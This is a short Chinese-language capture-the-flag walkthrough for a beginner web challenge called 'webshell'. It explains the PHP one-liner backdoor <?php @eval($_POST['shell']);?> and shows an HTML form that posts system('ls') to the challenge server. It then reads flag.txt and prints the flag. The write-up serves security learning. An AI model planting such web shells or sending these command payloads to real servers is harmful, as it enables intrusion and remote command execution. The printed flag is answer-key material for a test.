###### tags: `WEB` `攻防世界` `新手練習區` # 題目:webshell ## 解題思路 ``` 題目說明要使用webshell,且點進去網站後可看見的那段程式碼已經放入index.php底下, 我們要思考如何利用這段程式碼來獲取flag。 ``` ## 解題方式 ``` <?php @eval($_POST['shell']);?> 以上這段程式碼表示可接收POST請求,且參數為shell的資料可以被作為php函式解析 ``` ### 步驟一(發送請求) ``` 發送post請求,並且執行命令,可透過ls命令查看伺服器資料夾底下有哪些檔案 將以下表單放置於瀏覽器內,可以發送post請求。 <form action="http://220.249.52.134:49039/index.php" method="POST"> <input type="text" name="shell" value="system("ls");"> <input type="submit" value="發送"> </form> ``` 發送後得到結果中有flag.txt和index.php兩個答案  ### 步驟二(訪問flag.txt) ``` 發送post請求 ```  ``` 或者透過網址url訪問: http://220.249.52.134:49039/flag.txt ``` 即可獲得答案 cyberpeace{cd8758a26e3bb95a33c72e363d3a6a07}
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.